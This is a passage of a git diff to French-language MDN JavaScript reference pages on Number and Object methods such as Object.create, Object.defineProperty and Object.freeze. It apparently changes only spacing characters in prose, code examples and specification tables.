{{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.7.4.4', 'Number.prototype.valueOf')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.7.4.4', 'Number.prototype.valueOf')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/constructor/index.md b/files/fr/web/javascript/reference/global_objects/object/constructor/index.md index e52db432fa..4e4010a177 100644 --- a/files/fr/web/javascript/reference/global_objects/object/constructor/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/constructor/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Object/constructor --- {{JSRef}} -La propriété **`constructor`** renvoie une référence à la fonction {{jsxref("Object")}} qui a créé le prototype de l'instance. La valeur de cette propriété est une référence à la fonction elle-même, ce n'est pas une chaîne de caractères représentant le nom de la fonction. Cette valeur est en lecture seule pour les valeurs de types primitifs comme `1`, `true` et `"test"`. +La propriété **`constructor`** renvoie une référence à la fonction {{jsxref("Object")}} qui a créé le prototype de l'instance. La valeur de cette propriété est une référence à la fonction elle-même, ce n'est pas une chaîne de caractères représentant le nom de la fonction. Cette valeur est en lecture seule pour les valeurs de types primitifs comme `1`, `true` et `"test"`. ## Description @@ -119,7 +119,7 @@ function String() { ### Modifier le constructeur d'une fonction -La plupart du temps, cette propriété est utilisée afin de définir une fonction en tant que constructeur, c'est-à-dire qu'on l'appellera avec **`new`** et en « attachant » la chaîne de prototypes. +La plupart du temps, cette propriété est utilisée afin de définir une fonction en tant que constructeur, c'est-à-dire qu'on l'appellera avec **`new`** et en « attachant » la chaîne de prototypes. ```js function Parent() {} @@ -212,9 +212,9 @@ En résumé, lorsqu'on paramètre manuellement le constructeur, on peut obtenir | Spécification | Statut | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.2.4.1', 'Object.prototype.constructor')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.2.4.1', 'Object.prototype.constructor')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/create/index.md b/files/fr/web/javascript/reference/global_objects/object/create/index.md index 46985e3ff2..72c38a7159 100644 --- a/files/fr/web/javascript/reference/global_objects/object/create/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/create/index.md @@ -35,7 +35,7 @@ Un nouvel objet qui dispose du prototype et des propriétés indiquées. ### Exceptions -Cette méthode lève une exception {{jsxref("TypeError")}} si le paramètre `objetPropriétés` vaut {{jsxref("null")}} ou s'il ne décrit pas des propriétés d'un objet. +Cette méthode lève une exception {{jsxref("TypeError")}} si le paramètre `objetPropriétés` vaut {{jsxref("null")}} ou s'il ne décrit pas des propriétés d'un objet. ## Exemples @@ -97,7 +97,7 @@ MaClasse.prototype.maMéthode = function() { }; ``` -Ici, la méthode {{jsxref("Object.assign()")}} copie les propriétés du prototype de la classe parente (`ClassParente2`) sur le prototype de la classe fille (`MaClasse`), les rendant disponibles pour toutes les instances de `MaClasse`. `Object.assign()` a été introduit avec ES2015 et [une prothèse d'émulation (polyfill)](</fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/assign#Prothèse_d'émulation_(polyfill)>) est disponible. Si le support des navigateurs plus anciens est nécessaire, les méthodes [`jQuery.extend()`](https://api.jquery.com/jQuery.extend/) ou [`_.assign()`](https://lodash.com/docs/#assign) (Lodash) peuvent être utilisées. +Ici, la méthode {{jsxref("Object.assign()")}} copie les propriétés du prototype de la classe parente (`ClassParente2`) sur le prototype de la classe fille (`MaClasse`), les rendant disponibles pour toutes les instances de `MaClasse`. `Object.assign()` a été introduit avec ES2015 et [une prothèse d'émulation (polyfill)](</fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/assign#Prothèse_d'émulation_(polyfill)>) est disponible. Si le support des navigateurs plus anciens est nécessaire, les méthodes [`jQuery.extend()`](https://api.jquery.com/jQuery.extend/) ou [`_.assign()`](https://lodash.com/docs/#assign) (Lodash) peuvent être utilisées. ### Utiliser l'argument `objetPropriétés` avec `Object.create()` diff --git a/files/fr/web/javascript/reference/global_objects/object/defineproperties/index.md b/files/fr/web/javascript/reference/global_objects/object/defineproperties/index.md index 9fc0554d96..c91a13fddf 100644 --- a/files/fr/web/javascript/reference/global_objects/object/defineproperties/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/defineproperties/index.md @@ -62,7 +62,7 @@ L'objet passé à la fonction, éventuellement modifié. ## Description -`Object.defineProperties` permet principalement de définir toutes les propriétés de l'objet `obj` correspondant aux propriétés énumérable de `props`. +`Object.defineProperties` permet principalement de définir toutes les propriétés de l'objet `obj` correspondant aux propriétés énumérable de `props`. ## Exemples @@ -155,8 +155,8 @@ function defineProperties(obj, properties) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES5.1', '#sec-15.2.3.7', 'Object.defineProperties')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée par JavaScript 1.8.5 | -| {{SpecName('ES6', '#sec-object.defineproperties', 'Object.defineProperties')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.defineproperties', 'Object.defineProperties')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-object.defineproperties', 'Object.defineProperties')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.defineproperties', 'Object.defineProperties')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/defineproperty/index.md b/files/fr/web/javascript/reference/global_objects/object/defineproperty/index.md index 9463de1f68..c4759631b6 100644 --- a/files/fr/web/javascript/reference/global_objects/object/defineproperty/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/defineproperty/index.md @@ -161,7 +161,7 @@ Object.defineProperty(o, "conflit", { value: 0x9f91102, ### Modifier une propriété existante -Quand une propriété existe d'ores et déjà pour un objet, `Object.defineProperty()` tentera de modifier la propriété pour qu'elle corresponde aux valeurs indiquées dans le descripteur et à la configuration de l'objet courant. Si l'ancien descripteur avait `configurable` à `false` (la propriété est dite non-configurable), aucun attribut, à l'exception de `writable`, ne peut être changé. Dans ce cas, il n'est pas possible de changer entre les types de descripteur. +Quand une propriété existe d'ores et déjà pour un objet, `Object.defineProperty()` tentera de modifier la propriété pour qu'elle corresponde aux valeurs indiquées dans le descripteur et à la configuration de l'objet courant. Si l'ancien descripteur avait `configurable` à `false` (la propriété est dite non-configurable), aucun attribut, à l'exception de `writable`, ne peut être changé. Dans ce cas, il n'est pas possible de changer entre les types de descripteur. Si une propriété est non-configurable, son attribut `writable` ne peut être mis qu'à `false`. @@ -318,18 +318,18 @@ function Archiviste() { var température = null; var archive = []; - Object.defineProperty(this, "température",{ - get: function() { + Object.defineProperty(this, "température",{ + get: function() { console.log("accès !"); return température; }, - set: function(value) { + set: function(value) { température = value; archive.push({val: température}); } - }); + }); - this.getArchive = function() {return archive;}; + this.getArchive = function() {return archive;}; } var arc = new Archiviste(); @@ -384,11 +384,11 @@ arc.getArchive(); // [{val: 11}, {val: 13}] ### Redéfinir la propriété `length` d'un tableau (`Array`) -Il est possible de redéfinir la propriété {{jsxref("Array.length", "length")}} utilisée pour les tableaux, avec les restrictions vues. (La propriété `length` est initialement non-configurable, non-enumérable et accessible en écriture (`writable` vaut `true`)). Ainsi, sur un tableau, si rien n'a été fait, on peut modifier la valeur de la propriété `length` ou la rendre non accessible en écriture. Il n'est pas permis de changer son caractère énumérable ou configurable. Cependant, tous les navigateurs n'autorisent pas cette redéfinition. +Il est possible de redéfinir la propriété {{jsxref("Array.length", "length")}} utilisée pour les tableaux, avec les restrictions vues. (La propriété `length` est initialement non-configurable, non-enumérable et accessible en écriture (`writable` vaut `true`)). Ainsi, sur un tableau, si rien n'a été fait, on peut modifier la valeur de la propriété `length` ou la rendre non accessible en écriture. Il n'est pas permis de changer son caractère énumérable ou configurable. Cependant, tous les navigateurs n'autorisent pas cette redéfinition. Les versions de Firefox 4 à 22 renverront une exception {{jsxref("TypeError")}} pour chaque tentative (licite ou non) de modification de la propriété `length` d'un tableau. -Pour les versions de Chrome qui implémentent `Object.defineProperty()`, elles ignorent, dans certaines circonstances, une redéfinition de la propriété utilisant une valeur différente de la valeur courante de `length`. Sous certaines circonstances, le changement de l'accès en écriture n'aura aucun effet (et ne renverra aucune exception). Les méthodes relatives comme {{jsxref("Array.prototype.push")}} ne respectent pas le non accès en écriture. +Pour les versions de Chrome qui implémentent `Object.defineProperty()`, elles ignorent, dans certaines circonstances, une redéfinition de la propriété utilisant une valeur différente de la valeur courante de `length`. Sous certaines circonstances, le changement de l'accès en écriture n'aura aucun effet (et ne renverra aucune exception). Les méthodes relatives comme {{jsxref("Array.prototype.push")}} ne respectent pas le non accès en écriture. Pour les versions de Safari qui implémentent `Object.defineProperty()` elles ignorent la redéfinition d'une valeur différente de la valeur courante. Toute tentative de modifier l'accès en écriture échouera silencieusement (aucune modification effective, aucune exception renvoyée). diff --git a/files/fr/web/javascript/reference/global_objects/object/entries/index.md b/files/fr/web/javascript/reference/global_objects/object/entries/index.md index 7207bf85aa..fc0ce02fda 100644 --- a/files/fr/web/javascript/reference/global_objects/object/entries/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/entries/index.md @@ -33,7 +33,7 @@ Un tableau qui contient les propriétés énumérables propres de l'objet sous l ## Description -`Object.entries()` renvoie un tableau dont les éléments sont des paires (des tableaux à deux éléments) `[clé, valeur]` qui correspondent aux propriétés énumérables qui sont directement présentes sur l'objet passé en argument. L'ordre du tableau est le même que celui utilisé lorsqu'on parcourt les valeurs manuellement. +`Object.entries()` renvoie un tableau dont les éléments sont des paires (des tableaux à deux éléments) `[clé, valeur]` qui correspondent aux propriétés énumérables qui sont directement présentes sur l'objet passé en argument. L'ordre du tableau est le même que celui utilisé lorsqu'on parcourt les valeurs manuellement. ## Exemples @@ -122,7 +122,7 @@ if (!Object.entries) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | -| {{SpecName('ESDraft', '#sec-object.entries', 'Object.entries')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-object.entries', 'Object.entries')}} | {{Spec2('ESDraft')}} | | | {{SpecName('ES8', '#sec-object.entries', 'Object.entries')}} | {{Spec2('ES8')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/freeze/index.md b/files/fr/web/javascript/reference/global_objects/object/freeze/index.md index 4e90c7e363..0d5c52f5a7 100644 --- a/files/fr/web/javascript/reference/global_objects/object/freeze/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/freeze/index.md @@ -73,7 +73,7 @@ function echec(){ obj.toto = "bipbip"; // renvoie une TypeError delete obj.toto; // renvoie une TypeError delete obj.roxor; // renvoie true car l'attribut n' a pas été ajouté - obj.bipbip = "arf"; // renvoie une TypeError + obj.bipbip = "arf"; // renvoie une TypeError } echec(); @@ -220,8 +220,8 @@ Lorsqu'on utilise la méthode `Object.freeze()`, les propriétés existantes d'u | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | ------------------------------------------------------ | | {{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.8.5 | -| {{SpecName('ES6', '#sec-object.freeze', 'Object.freeze')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-object.freeze', 'Object.freeze')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.md b/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.md index 57948e7202..fd2e4c0488 100644 --- a/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.md @@ -42,7 +42,7 @@ Un descripteur de propriété est un enregistrement qui dispose des attributs su - **`writable`** - : `true` si et seulement si la valeur associée à la propriété peut être changée (pour les descripteurs de données uniquement). - **`get`** - - : Une fonction qui joue le rôle d'accesseur (_getter_) pour la propriété ou {{jsxref("undefined")}} s'il n'y a pas d'accesseur (pour les descripteurs d'accesseurs uniquement). + - : Une fonction qui joue le rôle d'accesseur (_getter_) pour la propriété ou {{jsxref("undefined")}} s'il n'y a pas d'accesseur (pour les descripteurs d'accesseurs uniquement). - **`set`** - : Une fonction qui joue le rôle de mutateur (_setter_) pour la propriété ou `undefined` s'il n'y a pas de tel mutateur (pour les descripteurs d'accesseurs uniquement). - **`configurable`** @@ -110,8 +110,8 @@ Object.getOwnPropertyDescriptor("toto", 0); | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------------------------------------------------ | | {{SpecName('ES5.1', '#sec-15.2.3.3', 'Object.getOwnPropertyDescriptor')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.8.5 | -| {{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.md b/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.md index c28823f966..4fa24d2d43 100644 --- a/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.md @@ -84,7 +84,7 @@ subclass.prototype = Object.create( | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | -| {{SpecName('ESDraft', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}} | {{Spec2('ESDraft')}} | | | {{SpecName('ES2017', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}} | {{Spec2('ES2017')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/getownpropertynames/index.md b/files/fr/web/javascript/reference/global_objects/object/getownpropertynames/index.md index 6bfbc91edb..4da34506b5 100644 --- a/files/fr/web/javascript/reference/global_objects/object/getownpropertynames/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/getownpropertynames/index.md @@ -73,7 +73,7 @@ console.log(Object.getOwnPropertyNames(mon_obj).sort()); // ["toto", "getToto"] ``` -Si on souhaite n'avoir que les propriétés énumérables, on peut utiliser {{jsxref("Object.keys")}} ou bien une boucle {{jsxref("Instructions/for...in","for...in")}} (cette méthode renverra également les propriétés héritées via la chaîne de prototypes si on ne filtre pas avec la méthode {{jsxref("Object.prototype.hasOwnProperty()", "hasOwnProperty()")}}). +Si on souhaite n'avoir que les propriétés énumérables, on peut utiliser {{jsxref("Object.keys")}} ou bien une boucle {{jsxref("Instructions/for...in","for...in")}} (cette méthode renverra également les propriétés héritées via la chaîne de prototypes si on ne filtre pas avec la méthode {{jsxref("Object.prototype.hasOwnProperty()", "hasOwnProperty()")}}). Les propriétés héritées via la chaîne de prototype ne sont pas listées : @@ -135,8 +135,8 @@ Object.getOwnPropertyNames('toto') | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------------------------------------------ | | {{SpecName('ES5.1', '#sec-15.2.3.4', 'Object.getOwnPropertyNames')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.8.5 | -| {{SpecName('ES6', '#sec-object.getownpropertynames', 'Object.getOwnPropertyNames')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.getownpropertynames', 'Object.getOwnPropertyNames')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-object.getownpropertynames', 'Object.getOwnPropertyNames')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.getownpropertynames', 'Object.getOwnPropertyNames')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/getownpropertysymbols/index.md b/files/fr/web/javascript/reference/global_objects/object/getownpropertysymbols/index.md index 40d7d6558f..283d63f8a2 100644 --- a/files/fr/web/javascript/reference/global_objects/object/getownpropertysymbols/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/getownpropertysymbols/index.md @@ -57,7 +57,7 @@ console.log(objectSymboles[0]) // Symbol(a) | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-object.getownpropertysymbols', 'Object.getOwnPropertySymbols')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-object.getownpropertysymbols', 'Object.getOwnPropertySymbols')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-object.getownpropertysymbols', 'Object.getOwnPropertySymbols')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/getprototypeof/index.md b/files/fr/web/javascript/reference/global_objects/object/getprototypeof/index.md index 595b3118e6..bb11df0792 100644 --- a/files/fr/web/javascript/reference/global_objects/object/getprototypeof/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/getprototypeof/index.md @@ -53,8 +53,8 @@ Object.getPrototypeOf("toto"); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------- | | {{SpecName('ES5.1', '#sec-15.2.3.2', 'Object.getPrototypeOf')}} | {{Spec2('ES5.1')}} | Définition initiale | -| {{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getPrototypeOf')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.getprototypeof', 'Object.getPrototypeOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getPrototypeOf')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.getprototypeof', 'Object.getPrototypeOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/hasownproperty/index.md b/files/fr/web/javascript/reference/global_objects/object/hasownproperty/index.md index 70feab462e..6522db0fbd 100644 --- a/files/fr/web/javascript/reference/global_objects/object/hasownproperty/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/hasownproperty/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Object/hasOwnProperty --- {{JSRef}} -La méthode **`hasOwnProperty()`** retourne un booléen indiquant si l'objet possède la propriété spécifiée "en propre", sans que celle-ci provienne de la chaîne de prototypes de l'objet. +La méthode **`hasOwnProperty()`** retourne un booléen indiquant si l'objet possède la propriété spécifiée "en propre", sans que celle-ci provienne de la chaîne de prototypes de l'objet. {{EmbedInteractiveExample("pages/js/object-prototype-hasownproperty.html")}} @@ -35,9 +35,9 @@ Chaque objet descendant d'{{jsxref("Object")}} hérite de la méthode `hasOwnPro ## Exemples -### Utiliser `hasOwnProperty()` pour tester l'existence d'une propriété +### Utiliser `hasOwnProperty()` pour tester l'existence d'une propriété -L'exemple suivant détermine si l'objet `o` contient une propriété appelée `prop`: +L'exemple suivant détermine si l'objet `o` contient une propriété appelée `prop`: ```js o = new Object(); @@ -66,7 +66,7 @@ o.hasOwnProperty('hasOwnProperty'); ### Parcourir les propriétés d'un objet -L'exemple suivant montre comment parcourir les propriétés d'un objet sans traiter les propriétés héritées. On notera que la boucle {{jsxref("Instructions/for...in", "for...in")}} ne prend en compte que les éléments énumérables. Il ne faut donc pas déduire de l'absence de propriétés non-énumérables dans la boucle, que `hasOwnProperty()` est elle-même strictement restreinte aux éléments énumérables (comme c'est le cas pour {{jsxref("Object.getOwnPropertyNames()")}}) . +L'exemple suivant montre comment parcourir les propriétés d'un objet sans traiter les propriétés héritées. On notera que la boucle {{jsxref("Instructions/for...in", "for...in")}} ne prend en compte que les éléments énumérables. Il ne faut donc pas déduire de l'absence de propriétés non-énumérables dans la boucle, que `hasOwnProperty()` est elle-même strictement restreinte aux éléments énumérables (comme c'est le cas pour {{jsxref("Object.getOwnPropertyNames()")}}) . ```js var bidule = { diff --git a/files/fr/web/javascript/reference/global_objects/object/index.md b/files/fr/web/javascript/reference/global_objects/object/index.md index df266e33d6..52ac59562e 100644 --- a/files/fr/web/javascript/reference/global_objects/object/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/index.md @@ -11,7 +11,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Object --- {{JSRef}} -Le constructeur **`Object`** crée un wrapper d'objet. +Le constructeur **`Object`** crée un wrapper d'objet. ## Syntaxe @@ -24,49 +24,49 @@ Le constructeur **`Object`** crée un wrapper d'objet. ### Paramètres - `paireNomValeur1, paireNomValeur2, ... paireNomValeurN` - - : Paires de noms (chaînes) et de valeurs (toutes valeurs) où le nom est séparé de la valeur par deux points (:). + - : Paires de noms (chaînes) et de valeurs (toutes valeurs) où le nom est séparé de la valeur par deux points (:). - `valeur` - : Toute valeur. ## Description -Le constructeur `Object` crée un wrapper d'objet pour la valeur donnée. Si la valeur est {{jsxref("null")}} ou {{jsxref("undefined")}}, il créera et retournera un objet vide, sinon, il retournera un objet du Type qui correspond à la valeur donnée. Si la valeur est déjà un objet, le constructeur retournera cette valeur. +Le constructeur `Object` crée un wrapper d'objet pour la valeur donnée. Si la valeur est {{jsxref("null")}} ou {{jsxref("undefined")}}, il créera et retournera un objet vide, sinon, il retournera un objet du Type qui correspond à la valeur donnée. Si la valeur est déjà un objet, le constructeur retournera cette valeur. -Lorsqu'il n'est pas appelé dans un contexte constructeur, `Object` se comporte de façon identique à `new Object()`. +Lorsqu'il n'est pas appelé dans un contexte constructeur, `Object` se comporte de façon identique à `new Object()`. -Voir aussi [initialisateur d'objet / syntaxe de littéral](https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Initialisateur_objet). +Voir aussi [initialisateur d'objet / syntaxe de littéral](https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Initialisateur_objet). ## Propriétés du constructeur `Object` - `Object.length` - : A une valeur de 1. - {{jsxref("Object.prototype")}} - - : Permet l'ajout de propriétés à tous les objets de type Object. + - : Permet l'ajout de propriétés à tous les objets de type Object. ## Méthodes du constructeur `Object` - {{jsxref("Object.assign()")}} - - : Copie les valeurs de toutes propriétés propres énumérables depuis un ou plusieurs objets source dans un objet cible. + - : Copie les valeurs de toutes propriétés propres énumérables depuis un ou plusieurs objets source dans un objet cible. - {{jsxref("Object.create()")}} - - : Crée un nouvel objet avec le prototype d'objet et les propriétés indiqués. + - : Crée un nouvel objet avec le prototype d'objet et les propriétés indiqués. - {{jsxref("Object.defineProperty()")}} - - : Ajoute à un objet la propriété nommée décrite par le descripteur donné. + - : Ajoute à un objet la propriété nommée décrite par le descripteur donné. - {{jsxref("Object.defineProperties()")}} - - : Ajoute à un objet les propriétés nommées décrites par les descripteurs donnés. + - : Ajoute à un objet les propriétés nommées décrites par les descripteurs donnés. - {{jsxref("Object.entries()")}} - - : Retourne un tableau contenant les paires `[clé, valeur]` des propriétés énumérables propres (c'est-à-dire directement rattachées à l'objet) de l'objet donné et dont les clés sont des chaînes de caractères. + - : Retourne un tableau contenant les paires `[clé, valeur]` des propriétés énumérables propres (c'est-à-dire directement rattachées à l'objet) de l'objet donné et dont les clés sont des chaînes de caractères. - {{jsxref("Object.freeze()")}} - - : Gèle un objet : un autre code ne peut ni détruire ni changer aucune propriété. + - : Gèle un objet : un autre code ne peut ni détruire ni changer aucune propriété. - {{jsxref("Object.fromEntries()")}} - : Renvoie un nouvel objet à partir d'un itérable contenant des paires de clés-valeurs (l'opération duale de {{jsxref("Object.entries")}}). - {{jsxref("Object.getOwnPropertyDescriptor()")}} - - : Retourne un descripteur de propriété pour une propriété nommée d'un objet. + - : Retourne un descripteur de propriété pour une propriété nommée d'un objet. - {{jsxref("Object.getOwnPropertyDescriptors()")}} - - : Retourne un objet contenant tous les descripteurs des propriétés propres d'un objet. + - : Retourne un objet contenant tous les descripteurs des propriétés propres d'un objet. - {{jsxref("Object.getOwnPropertyNames()")}} - - : Retourne un tableau contenant les noms de toutes les propriétés énumérables et non énumérables **propres** de l'objet donné. + - : Retourne un tableau contenant les noms de toutes les propriétés énumérables et non énumérables **propres** de l'objet donné. - {{jsxref("Object.getOwnPropertySymbols()")}} - - : Retourne un tableau de toutes les propriétés symboles trouvées directement dans un objet donné. + - : Retourne un tableau de toutes les propriétés symboles trouvées directement dans un objet donné. - {{jsxref("Object.getPrototypeOf()")}} - : Retourne le prototype de l'objet indiqué. - {{jsxref("Object.is()")}} @@ -78,19 +78,19 @@ Voir aussi [initialisateur d'objet / syntaxe de littéral](https://developer.mo - {{jsxref("Object.isSealed()")}} - : Détermine si un objet est scellé. - {{jsxref("Object.keys()")}} - - : Retourne un tableau contenant les noms de toutes les propriétés énumérables **propres** de l'objet donné. + - : Retourne un tableau contenant les noms de toutes les propriétés énumérables **propres** de l'objet donné. - {{jsxref("Object.preventExtensions()")}} - : Empêche toute extension de l'objet. - {{jsxref("Object.seal()")}} - - : Empêche un autre code de détruire les propriétés d'un objet. + - : Empêche un autre code de détruire les propriétés d'un objet. - {{jsxref("Object.setPrototypeOf()")}} - - : Définit le prototype d'un objet (c-à-d, la propriété interne `[[Prototype]]`). + - : Définit le prototype d'un objet (c-à-d, la propriété interne `[[Prototype]]`). - {{jsxref("Object.values()")}} - - : Retourne le tableau des valeurs énumérables propres de l'objet donné dont les clés sont des chaînes de caractères. + - : Retourne le tableau des valeurs énumérables propres de l'objet donné dont les clés sont des chaînes de caractères. -## Instances d'`Object` et objet de prototype `Object` +## Instances d'`Object` et objet de prototype `Object` -Tous les objets en JavaScript descendent d'`Object` ; tous les objets héritent des méthodes et des propriétés de {{jsxref("Object.prototype")}}, même si elles peuvent être surchargées. Par exemple, d'autres prototypes de constructeurs surchargent la propriété du `constructor` et fournissent leurs propres méthodes `toString()`. Les changements apportés à l'objet de prototype `Object` sont propagées à tous les objets, à moins que les propriétés et méthodes auxquelles s'appliquent ces changements ne soient surchargées plus loin dans la chaîne de prototypes. +Tous les objets en JavaScript descendent d'`Object` ; tous les objets héritent des méthodes et des propriétés de {{jsxref("Object.prototype")}}, même si elles peuvent être surchargées. Par exemple, d'autres prototypes de constructeurs surchargent la propriété du `constructor` et fournissent leurs propres méthodes `toString()`. Les changements apportés à l'objet de prototype `Object` sont propagées à tous les objets, à moins que les propriétés et méthodes auxquelles s'appliquent ces changements ne soient surchargées plus loin dans la chaîne de prototypes. ### Propriétés @@ -100,7 +100,7 @@ Tous les objets en JavaScript descendent d'`Object` ; tous les objets héritent {{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Methods') }} -## Suppression d'une propriété dans un objet +## Suppression d'une propriété dans un objet Il n'y a aucune méthode dans un Object lui-même pour supprimer ses propres propriétés (par exemple, comme [Map.prototype.delete()](/fr-Fr/docs/Web/JavaScript/Reference/Global_Objects/Map/delete)). Pour ce faire, il faut utiliser l'[opérateur delete](/fr-Fr/docs/Web/JavaScript/Reference/Operators/delete). @@ -108,7 +108,7 @@ Il n'y a aucune méthode dans un Object lui-même pour supprimer ses propres pro ### Utilisation d'`Object` avec les types `undefined` et `null` -Les exemples suivants stockent un `Object` vide dans `o` : +Les exemples suivants stockent un `Object` vide dans `o` : ```js var o = new Object(); @@ -124,7 +124,7 @@ var o = new Object(null); ### Utilisation d'`Object` pour créer des objets `Boolean` -Les 